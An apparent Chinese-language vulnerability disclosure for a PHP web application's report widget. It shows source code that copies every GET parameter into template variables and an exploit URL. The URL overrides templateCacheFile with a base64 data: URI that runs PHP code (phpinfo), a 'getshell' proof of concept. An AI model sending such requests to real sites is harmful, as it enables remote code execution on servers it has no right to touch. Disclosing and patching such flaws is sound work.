来源:未知 时间:2015-04-15 13:43 作者:xxadmin 阅读:次
[导读] 漏洞 点出现在DenounceWidget.class.php里: \addons\widget\DenouceWidget\DenouceWidget.class.php:23 /** * 举报弹框 * @return string 弹窗页面HTML */public function index(){ // 获取相关数据 $var = $this-getVar(); $content...
|
漏洞点出现在DenounceWidget.class.php里:
/**
* 举报弹框
* @return string 弹窗页面HTML
*/
public function index()
{
// 获取相关数据
$var = $this->getVar();
$content = $this->renderFile(dirname(__FILE__)."/index.html",$var);
return $content;
}
/**
* 格式化模板变量
* @return array 被举报的信息
*/
public function getVar(){
if(empty($_GET['aid']) || empty($_GET['fuid']) || empty($_GET['type'])){
return false;
}
foreach($_GET as $k=>$v){
$var[$k] = t($v);
}
$var['uid'] = $GLOBALS['ts']['mid'];
empty($var['app']) && $var['app'] = 'public';
$var['source'] = model('Source')->getSourceInfo($var['type'],$var['aid'],false,$var['app']);
return $var;
}
/**
* 渲染模板输出 供render方法内部调用
* @access public
* @param string $templateFile 模板文件
* @param mixed $var 模板变量
* @param string $charset 模板编码
* @return string
*/
protected function renderFile($templateFile = '', $var = '', $charset = 'utf-8') {
$var['ts'] = $GLOBALS['ts'];
if (! file_exists_case ( $templateFile )) {
// 自动定位模板文件
// $name = substr ( get_class ( $this ), 0, - 6 );
// $filename = empty ( $templateFile ) ? $name : $templateFile;
// $templateFile = 'widget/' . $name . '/' . $filename . C ( 'TMPL_TEMPLATE_SUFFIX' );
// if (! file_exists_case ( $templateFile ))
throw_exception ( L ( '_WIDGET_TEMPLATE_NOT_EXIST_' ) . '[' . $templateFile . ']' );
}
$template = $this->template ? $this->template : strtolower ( C ( 'TMPL_ENGINE_TYPE' ) ? C ( 'TMPL_ENGINE_TYPE' ) : 'php' );
$content = fetch($templateFile,$var,$charset);
return $content;
}
两种getshell的方法,一种是include包含webshell的图片,一种是使用filter /index.php?app=widget&mod=Denouce&act=index&aid=1&fuid=1&type=ztz&templateCacheFile=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyBleGl0KCk7Pz4%3D
解决方案:加强过滤 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com